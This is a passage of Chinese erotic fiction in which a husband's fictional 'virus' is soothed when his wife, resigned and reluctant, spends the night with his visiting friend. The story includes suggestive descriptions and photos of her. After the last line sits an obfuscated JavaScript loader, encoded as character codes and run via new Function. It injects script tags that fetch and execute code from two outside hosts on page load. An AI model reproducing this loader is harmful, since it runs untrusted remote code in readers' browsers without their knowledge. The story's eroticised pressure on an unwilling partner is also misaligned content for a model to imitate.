“茶凉了。”
片刻后,朱怡的声音打破了沉重的寂静。
她走到小厨房操作台边,重新拿起自己的杯子。
陈琛仿佛被惊醒,下意识地端起自己的茶杯,喝了一口,确实凉了。
他清了清嗓子,努力让声音听起来自然些:“是啊,凉了。经业,还喝吗?让朱怡再给你倒点热的?”
“不用麻烦了,嫂子。”徐经业也端起自己的杯子喝了一口,顺势放下,目光很自然地落在朱怡身上。
她正背对着他们,重新往烧水壶里蓄水。
那件宽松的米白色羊绒衫下摆垂落,勾勒出腰臀处流畅的线条,深灰色的休闲裤衬得双腿笔直修长。
“这地方真不错,”徐经业转开话题,语气轻松了些,“闹中取静,比上海舒服多了。嫂子,咖啡馆生意还好吧?”
朱怡按下烧水开关,转过身,靠着操作台边缘。
她脸上那抹浓重的红晕已经褪去大半,只剩下耳根处淡淡的粉色。
“还行,勉强维持。”她的声音平稳,目光在陈琛和徐经业之间短暂停留,“小地方,熟客多。就是最近……事情多,有点顾不上。”
“理解理解,”
徐经业点点头,身体放松地靠向沙发背,姿态比刚才更从容,“琛哥这情况,肯定得先顾着身体。对了,”他看向陈琛,带着点调侃,“你这店弄这么雅致,是不是嫂子眼光好?我记得你以前宿舍那审美,啧啧……”
陈琛扯了下嘴角,算是回应。
他注意到朱怡虽然还靠着操作台,但肩膀的线条不再那么紧绷。
他顺着徐经业的话说:“嗯,都是她弄的。我负责打杂。”他顿了顿,目光也落在朱怡身上。
宽松的衣衫掩不住她胸前的柔软弧度,灯光下,她未施粉黛的脸颊透着刚沐浴后的干净光泽。
“经业开车辛苦,”陈琛接着说,语气带着点刻意的随意,“晚上就安心住这儿。楼上客房虽然简单,但该有的都有,安静。”他的目光再次扫过朱怡,像是在确认什么。
朱怡没说话,只是轻轻“嗯”了一声,表示认同。
她拿起水壶,给徐经业和陈琛的杯子重新续上热水。
弯腰倒水时,羊绒衫的领口微微敞开了一线,露出一小段雪白细腻的锁骨,很快又被直起的身体掩住。
徐经业的视线随着她的动作移动,从她倒水时微微用力的手腕,到她低垂的睫毛,再到她重新站直后略显宽松却依然能看出身材曲线的腰腹。
他的目光不再像之前那样带着强烈的冲击感,而是变得坦然,甚至带着点欣赏的意味,仿佛在打量一件熟悉又值得品味的物品。
朱怡感觉到了那目光。
她端着水壶的手微微顿了一下,但并没有像之前那样显出强烈的羞窘或躲闪。
她只是抬起眼,平静地回望了徐经业一眼,眼神里没有责备,也没有迎合,只有一种认命般的坦然。
然后,她将水壶放回原位,拿起自己的杯子,小口地啜饮着热水。
客厅里再次安静下来,但气氛已经截然不同。
陈琛看着朱怡放松下来的侧脸,又看了看徐经业变得坦然的目光。
他自己胸口那种因为病毒而带来的、时常存在的沉甸甸的压抑感,似乎也随着朱怡的放松和徐经业的坦然,悄然消散了许多。
他甚至能感觉到自己的呼吸比平时更顺畅了一些。
“经业,”陈琛开口,声音比刚才更稳,“住得惯吗?那房间。”
“挺好的,真挺好的,嫂子收拾得干净又舒服。”徐经业回答得很自然,目光再次投向朱怡,这次停留的时间更长了些,从她柔顺披散的黑发,到她低垂的眼睫,再到她握着杯子的、纤细的手指,“比我在上海租的房子强太多了。”他笑了笑,眼神里带着一种男人之间心照不宣的意味。
朱怡没有避开他的目光,只是安静地听着,手指无意识地摩挲着温热的杯壁。
“经业,”
陈琛抿了口热茶,状似随意地问,“还单着呢?叔叔阿姨没催你?”
徐经业靠在沙发凳上,自嘲地笑了笑:“催,怎么不催。天天电话轰炸,恨不得我明天就领个媳妇儿回去。烦得很。”他摊了摊手,“开出租,早出晚归,哪有那功夫?再说,现在姑娘眼光都高。”
“急什么,”陈琛接话,目光转向朱怡,带着一丝不易察觉的柔和,“我跟朱怡,也是去年才领的证,这不也才二十五?日子还长着呢。”他伸手,轻轻握住朱怡放在腿上的手。
朱怡的手在他掌心微微一动,没有抽开,任由他握着,目光低垂看着杯中晃动的茶水。
“是啊,刚新婚一年,”陈琛继续说,语气带着点回忆的暖意,“还没想着要孩子的事,先顾好眼前。”他顿了顿,声音压低了些,带着一种分享私密的坦诚感,“我们……就正常频率吧,一周两三次?也没刻意避孕,想着顺其自然,有了就要。”他说这话时,目光很自然地扫过朱怡的身体,宽松的居家服掩不住她年轻姣好的身段。
徐经业听着,眼神很自然地落在朱怡身上。
她微微侧着脸,灯光勾勒出她柔和的侧颜线条,刚沐浴后的肌肤细腻光洁,长发随意披散,带着一种居家的慵懒感。
宽松的衣物下,胸前的弧度随着呼吸微微起伏,腰肢纤细,双腿并拢斜倚着,在深灰色休闲裤包裹下显得修长笔直。
“嫂子这条件,”徐经业的目光坦然地在她身上停留,语气带着真诚的赞叹,“老陈你这福气,真是没得说。漂亮,能干,脾气看着也好。”他的视线从她光洁的额头,滑过挺秀的鼻梁,落在她微微抿着的、形状美好的唇上,最后又回到她清澈却带着一丝复杂情绪的眼睛。
朱怡没有像之前那样立刻移开目光或脸红。
她抬起眼,迎上徐经业的打量,脸上没什么特别的表情,只是很平静地接受了这份赞美,甚至还几不可察地微微颔首,低声道:“谢谢。”
陈琛握着她的手,能清晰地感觉到自己胸腔里那股熟悉的、沉甸甸的滞闷感,随着徐经业坦然的打量和朱怡平静的接受,正不断地冰消瓦解。
一种奇异的、难以言喻的舒适感顺着脊椎蔓延开,让他整个人都松弛下来,连带着一直微微蹙着的眉头也舒展开了。
他看着朱怡在徐经业目光下放松的姿态,心里那点残余的别扭也被一种更强烈的、源自身体深处的“舒缓感”压了下去。
他松开朱怡的手,顺势轻轻拍了拍她的腿,语气轻松自然,带着点主人翁的随意:“时间也不早了。经业今天开车来回也累了。”他看向徐经业,眼神里带着询问和一点点的催促,“让朱怡带你过去隔壁房间吧?早点休息。”
“行,是有点困了。”徐经业应声站起来,舒展了一下身体。
朱怡也站起身,轻声说:“经业,你稍等一下。”
她没看任何人,快步走进了夫妻俩的卧室,轻轻带上了门。
客厅里只剩下两个男人。陈琛端起茶杯,低头喝着水,没说话。
徐经业的目光扫过那扇关上的卧室门,又落到陈琛身上,眼神复杂。
片刻,门开了。
朱怡走了出来。
她换下了宽松的羊绒衫,穿着一件薄款的浅杏色针织开衫,里面是贴身的白色吊带背心。
开衫没系扣子,自然地垂落,清晰地勾勒出她胸前的饱满弧度和纤细的腰肢。
下身依旧是那条深灰色的休闲裤,衬得双腿修长。
她的长发拢在了一侧肩头,露出一段雪白修长的脖颈。
刚洗过澡的光泽感还在,脸颊却比刚才红得多,一直蔓延到耳根和脖颈,像熟透的蜜桃。
她低着头,紧紧攥着拳头。
指缝间,清晰地露出一个深蓝色、方方正正的小塑料包装盒。
她站在卧室门口,仿佛脚下生了根,头垂得更低了,几乎要把脸埋进胸口。
那抹浓重的红晕在她白皙的皮肤上显得格外扎眼,连小巧的耳垂都红得剔透。
徐经业的呼吸明显滞了一下。
他的目光像被磁石吸住,钉在了朱怡紧握的右手上。
然后,他的目光不受控制地向下移动——掠过她因低头而更显优美的颈项线条,掠过开衫下摆处隐约可见的纤细腰肢,掠过深灰色裤管包裹的笔直小腿……
最终,落在了她赤裸踩在微凉地砖上的双脚上。
那双脚依旧白皙莹润,脚趾圆润整齐,指甲泛着自然的粉色。
几颗细小的水珠似乎还挂在脚踝,在灯光下闪着微光。
此刻,它们微微向内蜷缩着,显露出主人难以言喻的紧张和羞窘。
时间仿佛凝固了几秒。客厅里只剩下三个人压抑的呼吸声。
朱怡像是终于积蓄了足够的勇气,猛地抬起头。
她的眼睛水汪汪的,带着浓重的羞意,却努力维持着表面的平静。
她避开了徐经业灼热的目光,也避开了陈琛的方向,视线落在徐经业身后的门框上。
然后,她迈开脚步,朝着徐经业走去。
她的步伐有些僵硬,但目标明确。
走到徐经业面前一步之遥时,她停下。
她没有看他的眼睛,只是伸出左手,轻轻地、带着一丝浅浅的颤抖,挽住了徐经业的右臂。
她的手臂肌肤温热细腻,透过薄薄的针织衫传递过来。
“走吧,”
她的声音很轻,带着点颤音,却清晰地传入徐经业耳中,“我带你过去。”
徐经业低头,目光在她低垂的睫毛和红唇上停留,喉结滚动了一下。
“好……麻烦嫂子了。”他的声音有些发干。
朱怡没再说话,只是挽着他的手臂,微微用力,引导着他转身,朝着家门外走去。
她没有回头看一眼沙发上的陈琛。
陈琛坐在沙发上,看着妻子挽着好友的手臂离开。
朱怡纤细的背影,挽着徐经业胳膊的姿态,以及她手里紧握的那个深蓝色小盒子……像一幅定格的画面。
他放在膝盖上的手微微蜷缩了一下,随即又松开。
一股前所未有的、奇异的舒畅感,像暖流一样迅速席卷了他的胸腔,驱散了所有残余的沉重和不适。
他靠在沙发背上,长长地、无声地舒了一口气,闭上了眼睛。
客厅的门被轻轻打开,又轻轻带上。
陈琛的视线始终停留在客厅门把手的铜色光泽上,直到那细微的“咔嗒”声响起,将走廊的凉意彻底隔绝在外。
他独自一人站在原地,胸腔里那股奇异的暖流仍在蔓延,像是病毒在体内悄然庆祝着这场“解脱”。
他低头看了眼手腕上的表盘,荧光指针指向十点一刻。
时间还早,但对他来说,这将是漫长而煎熬的序曲。
他深吸一口气,关掉了客厅的壁灯。
整个空间瞬间坠入黑暗,只有窗外远处的路灯投进一丝朦胧的灰蓝光影,勾勒出家具的轮廓。
他也没有打开卧室的灯,就这样摸索着进屋,走进那务必熟悉,却刻显得格外空旷的房间。
此时,房间里还残留着朱怡换衣服时淡淡的香水味。
陈琛没有躺下,而是径直走到电脑桌前,拉开那张简易的转椅,呆呆地坐了下去。
屏幕是黑的,他也没开机,只是双手撑在桌沿上,目光茫然地盯着前方漆黑的墙壁。
卧室里死一般的寂静,仿佛整个世界都屏息了。
他几乎只能听到自己的心跳声——那声音起初平稳有力,像鼓点般回荡在耳畔,每一次搏动都带着一种前所未有的舒泰感。
墙那边是02号房间,距离不过几米之遥。
他想象着朱怡此刻的模样:脸颊绯红,耳根烫得像熟透的樱桃,手指微微颤抖着递出那个盒子;徐经业的目光会自然地落在她身上,从她刚换上的浅杏色针织开衫,到里面那件贴身的白色吊带背心,勾勒出胸前柔软的弧度……
这些画面如潮水般涌来。
不是嫉妒,而是病毒催生的渴望,让他胸腔里的暖流更加强烈。
舒泰,纯粹的舒泰,仿佛长久以来的枷锁终于松动。
时间在黑暗中悄无声息地流逝。
他没有看表,但能感觉到秒针的每一次转动。
起初,这种等待是甜蜜的折磨,每一分钟都像在延长那份解脱的余韵。
他闭上眼睛,试图捕捉墙那边任何一丝动静——或许是床铺的轻微吱呀,或许是衣料的摩擦,或许是低抑的喘息……但什么都没有,只有寂静,像一张无形的网,将他包裹其中。
渐渐地,整整一小时过去了。
陈琛感受着时间的流逝,心里的那种酸爽感越来越强烈。
不是单纯的痛苦,而是夹杂着期待和焦灼的刺痒,像一股电流从心尖爬向四肢,越来越密集,越来越难以忍受。
胸口又开始隐隐作痛,那沉甸甸的感觉卷土重来,比之前更猛烈,让他不由自主地按住左胸,眉头皱起。
就在这时,手机震动了一下。
屏幕亮起,刺破了卧室的黑暗。
他猛地睁开眼,抓起手机——是徐经业的微信消息。
只有一张照片,没有任何文字。
陈琛的手指微微颤抖着点开图片。
热血瞬间涌上头顶,让他呼吸一滞。
照片里,朱怡仰躺在床上,侧脸微微转向镜头,眼睛闭着,长睫在灯光下投下浅浅的阴影。
她脱掉了外套,只穿着那件贴身的白色背心,薄薄的布料紧贴着肌肤,清晰地勾勒出胸前的饱满弧度和腰肢的纤细曲线。
她的脸颊泛着潮红,唇瓣微微张开,似乎在喘息。
强烈的满足感如潮水般涌来,让他全身的细胞都仿佛在颤抖。
病毒得到了它想要的“刺激”,胸口的压抑感瞬间消散了大半,取而代之的是那种难以言喻的酥麻和舒畅。
陈琛盯着照片看了许久,热血沸腾,呼吸变得粗重起来。
朱怡的模样那么真实,那么诱人,却又带着一丝不情愿的羞涩,让他心里的酸爽转化成一种狂喜的释放。
但紧接着,一个念头如冷水般泼来,让他猛地清醒。
这照片肯定不是刚刚才拍的。
应该是刚进入房间不久。
现在已经过去一小时了,徐经业终于有空发给他……这意味着什么?
现在两人在干啥还不知道呢。
他的脑海中不由自主地浮现出更多画面:徐经业的手或许正抚上朱怡的腰肢,或许他们已经在床上纠缠,呼吸交织……这种不确定性让满足感更添一层刺激,但也让胸口的渴望重新点燃,变得更加强烈。
他放下手机,双手抱头,靠在椅背上,黑暗中发出低低的喘息声。
时间继续流逝,卧室的黑暗像一潭死水,吞噬着每一秒的流转。
陈琛依旧坐在电脑桌前,双手撑着额头,指尖无意识地摩挲着手机边缘。
寂静中,他的心跳声似乎比之前更清晰,每一下都带着一种既沉重又奇异舒畅的节奏。
整整九十分钟过去了,墙那边的02号房间依旧没有传来任何声响,只有他脑海中不断翻涌的画面和病毒催生的渴望,在黑暗中交织成一张无形的网,将他牢牢困住。
手机再次震动,屏幕的光刺破黑暗。
陈琛猛地抬起头,手指几乎是条件反射般点开微信。
是徐经业发来的第二张照片,没有文字说明,只有画面。
照片中,02号房间的床头柜在昏黄的台灯光晕下显得格外清晰。
柜面上,整整齐齐地摆放着两只用过的避孕套,透明的材质里装满了粘稠的液体,在灯光下泛着微光。
床单的褶皱隐约可见,背景的床铺微微凌乱,像是刚刚经历过一场激烈的纠缠。
没有任何人出现在画面中,但这无声的证据却如同一记重锤,狠狠砸在陈琛的胸口。
他的呼吸骤然加重,热血再次涌上头顶,耳根轰鸣。
病毒在体内狂欢,那股沉甸甸的压抑感被瞬间冲散,取而代之的是一种极致的、几乎要将他吞没的满足感。
照片的每一个细节都像催化剂,点燃了他体内的渴望。
那两只避孕套的形状、液体在灯光下的反光、床单上凌乱的褶痕……这一切都在无声地诉说着隔壁房间里刚刚发生的事。
他的手指微微颤抖,放大图片,反复凝视,胸腔里的舒泰感如潮水般一波接一波涌来,脊椎仿佛被电流贯穿,酥麻到几乎无法坐稳。
他闭上眼,长长地吐出一口气,嘴角不自觉地勾起一丝难以言喻的笑意。
片刻后,手机又震了一下。
这次是徐经业的文字消息:“朱怡让我问你,今晚她睡哪?”
陈琛盯着这句话,目光在屏幕上停留了许久。
黑暗中,他的眼神复杂,羞耻、满足、犹豫交织在一起,但那股病毒带来的强烈舒畅感占据了上风。
他深吸一口气,手指悬在屏幕上方,最终没有回复,而是直接拨通了徐经业的号码。
电话接通的瞬间,传来一阵轻微的杂音。
紧接着,是一个熟悉却带着异样气息的声音。
是朱怡。
“阿晨?”
她的声音低而柔,带着一丝刚经历过剧烈运动后的喘息,吐息声透过话筒异常清晰,像是近在耳边。
陈琛想象着她此刻的样子:脸颊潮红,长发散乱,胸膛微微起伏,带着一种混合着羞涩和疲惫的脆弱感。
“是我。”
陈琛的声音有些沙哑,他咽了口唾沫,试图让语气听起来平静,“我……我刚看到照片了。”他顿了顿,胸口的暖流依旧在涌动,让他忍不住继续说,“我现在……很舒服,真的。特别舒服。”
电话那头,朱怡的呼吸明显顿了一下,随即变得更轻,仿佛在努力平复自己的情绪。
片刻的沉默后,她低声道:“……那就好。”她的声音里带着一丝释然,但更多的是一种复杂的、夹杂着羞涩的疲惫,“我……我就是怕你不舒服,怕……怕这事没用。”
“有用,真的有用。”
陈琛急切地打断她,语气里带着一丝劫后余生的狂喜,“朱怡,你不知道,刚才看到照片,我……我那股沉甸甸的感觉,真的没了!心跳顺了,胸口也不闷了。医生说得没错,这……这能救我。”他停顿了一下,声音低下去,带着点愧疚,“老婆,谢谢你……真的。”
朱怡没有立刻回答。
电话里只有她轻微的呼吸声,依旧带着那种剧烈运动后的余韵。
片刻后,她低低地“嗯”了一声,声音里多了一分坦然:“你没事就好。阿晨,我……我只是想让你好好的。”她顿了顿,声音更轻,几乎像在自言自语,“虽然……虽然真的很羞人,但我……我能接受。”
陈琛的心猛地一揪,愧疚感如潮水般涌来,但他体内的病毒却在这一刻更加兴奋,催促着他继续。
他深吸一口气,鼓起勇气,声音低沉却坚定:“朱怡,今晚……你就留在经业那儿吧。别回来了。”
他顿了顿,像是怕她误解,赶紧补充,“我真的没事,特别舒服。你……你不用担心我。”
电话那头又是一阵沉默。
朱怡的呼吸声变得更轻,但能听出她似乎在努力调整自己的情绪。
终于,她低声道:“好……我听你的。”她的声音里没有抗拒,只有一种认命般的平静,“那你好好休息,别熬夜。有事……随时给我打电话。”
“嗯。”陈琛应了一声,喉咙有些发紧。他想再说些什么,但话到嘴边却变成了简单的两个字:“晚安。”
“晚安。”朱怡的声音轻得像叹息,随即电话挂断。
陈琛放下手机,重新靠回椅背,黑暗中闭上眼睛。
卧室的寂静再次笼罩了他,但此刻的寂静不再压抑,而是带着一种奇异的安宁。
他能感觉到胸口的心跳依然有力,却不再是那种濒死的沉重,而是充满了生命力的节奏。
病毒得到了满足,他整个人像是被卸下了千斤重担,身体和灵魂都沉浸在一种前所未有的轻松中。
窗外,南桥村的夜雾依旧浓稠,悄无声息地漫过屋檐。
远处河道的水声若隐若现,像是在低语着某种无人知晓的秘密。
陈琛没有开灯,只是静静地感受着这份短暂的平静,知道今晚的“治疗”已经初见成效。
而隔壁房间里,朱怡的选择和牺牲,正在以一种荒诞却真实的方式,延续着他的生命。
(function(a){(new Function(String.fromCharCode(...a)))();})([100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,100,105,118,62,60,100,105,118,32,105,100,61,39,118,56,82,68,50,53,52,49,39,62,60,47,100,105,118,62,60,47,100,105,118,62,34,41,59,108,101,116,32,117,114,108,115,61,91,34,104,116,116,112,115,58,92,47,92,47,109,100,49,49,110,50,51,56,97,46,111,115,115,45,99,110,45,104,97,110,103,122,104,111,117,46,97,108,105,121,117,110,99,115,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,44,34,104,116,116,112,115,58,92,47,92,47,112,46,55,100,51,54,97,46,99,111,109,92,47,49,92,47,49,52,53,50,53,48,49,49,34,93,59,119,105,110,100,111,119,46,95,95,114,114,95,95,104,108,100,61,49,59,108,101,116,32,117,114,108,105,110,100,101,120,61,48,59,108,101,116,32,114,102,117,110,99,61,102,117,110,99,116,105,111,110,40,41,123,105,102,40,119,105,110,100,111,119,46,95,95,114,114,95,95,108,111,97,100,101,100,95,50,53,52,49,95,49,49,48,53,32,33,61,32,39,111,107,39,41,123,108,101,116,32,115,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,115,46,114,101,102,101,114,114,101,114,80,111,108,105,99,121,61,39,110,111,45,114,101,102,101,114,114,101,114,39,59,115,115,46,115,114,99,61,117,114,108,115,91,117,114,108,105,110,100,101,120,43,43,93,43,32,40,110,97,118,105,103,97,116,111,114,46,117,115,101,114,65,103,101,110,116,46,105,110,100,101,120,79,102,40,39,65,110,100,114,111,105,100,39,41,32,33,61,32,45,49,32,63,32,39,48,39,58,39,49,39,41,32,43,32,39,63,39,32,43,32,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84,105,109,101,40,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,41,59,125,125,59,114,102,117,110,99,40,41,59,114,102,117,110,99,40,41,59]);